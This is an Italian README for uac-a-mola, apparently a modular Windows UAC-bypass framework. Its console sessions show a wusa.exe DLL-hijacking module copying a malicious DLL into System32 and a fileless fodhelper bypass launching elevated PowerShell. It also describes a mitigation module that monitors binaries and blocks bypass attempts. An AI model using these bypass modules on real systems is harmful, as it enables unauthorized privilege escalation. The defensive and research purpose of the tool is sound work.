
Framework modulare per attacchi e mitigazione del bypass UAC di Windows, con hijacking DLL, esecuzione senza file e monitoraggio in tempo reale per rilevare e bloccare tentativi di escalation dei privilegi.
Per installare uac-a-mola è necessario eseguire le seguenti azioni:
pip install -r requirements.txt
Uac-a-mola è ora pronto all'uso! Puoi testare la sua funzionalità digitando:
cd uacamola
python uacamola.py
Questa è una breve sezione che spiega l'uso di alcuni dei moduli di uac-a-mola:
Usare i moduli di attacco è molto semplice e non richiede quasi spiegazioni. L'unica cosa da fare è caricare il modulo corrispondente nel framework usando il comando load, puoi vedere le opzioni o i parametri di input usando il comando show, con il comando run il modulo viene eseguito:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
E un altro esempio:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
Usare i metodi di mitigazione è anch'esso abbastanza semplice, ma hanno una struttura interna leggermente più complessa che verrà spiegata in questa sezione. Per quanto riguarda l'uso, la prima cosa da fare è caricare il modulo di mitigazione disponibile:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
In questo caso, dovremo impostare una password che gli agenti useranno per comunicare con il listener che verrà eseguito nel framework uacamola. Possiamo trovare gli agenti nel percorso uacamola/support/agents, aprendo quei file possiamo vedere la password:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola sarà la password usata per l'autenticazione e la comunicazione, ma possiamo cambiarla. L'altro parametro richiesto è un percorso a un file che contiene una lista di binari da monitorare; questi binari devono avere un file agent.pyw nei percorsi degli agenti.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
Basta compilare questi campi ed eseguire il comando run, uacamola inizierà a monitorare tutta l'attività relativa al bypass UAC nei binari che appaiono nella lista. Se viene rilevata un'attività pericolosa, taglierà automaticamente il ramo pericoloso (del filesystem o del registro) ed eseguirà il binario in modo sicuro. Per uscire da questa modalità basta premere il tasto ENTER.
Segnala qualsiasi errore a [email protected] o apri un issue su GitHub. La tua collaborazione è apprezzata!
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSE MA NON LIMITATE ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UN PARTICOLARE SCOPO E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, ILLECITO O ALTRIMENTI, DERIVANTE DA, O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE. OGNI VOLTA CHE EFFETTUI UN CONTRIBUTO A UN REPOSITORY CHE CONTIENE UNA NOTIFICA DI LICENZA, CONCEDI IN LICENZA IL TUO CONTRIBUTO AGLI STESSI TERMINI E ACCETTI DI AVERE IL DIRITTO DI CONCEDERE IN LICENZA IL TUO CONTRIBUTO A TALI TERMINI. SE HAI UN ACCORDO SEPARATO PER CONCEDERE IN LICENZA I TUOI CONTRIBUTI A TERMINI DIVERSI, COME UN ACCORDO DI LICENZA PER CONTRIBUTORI, TALE ACCORDO PREVARRÀ.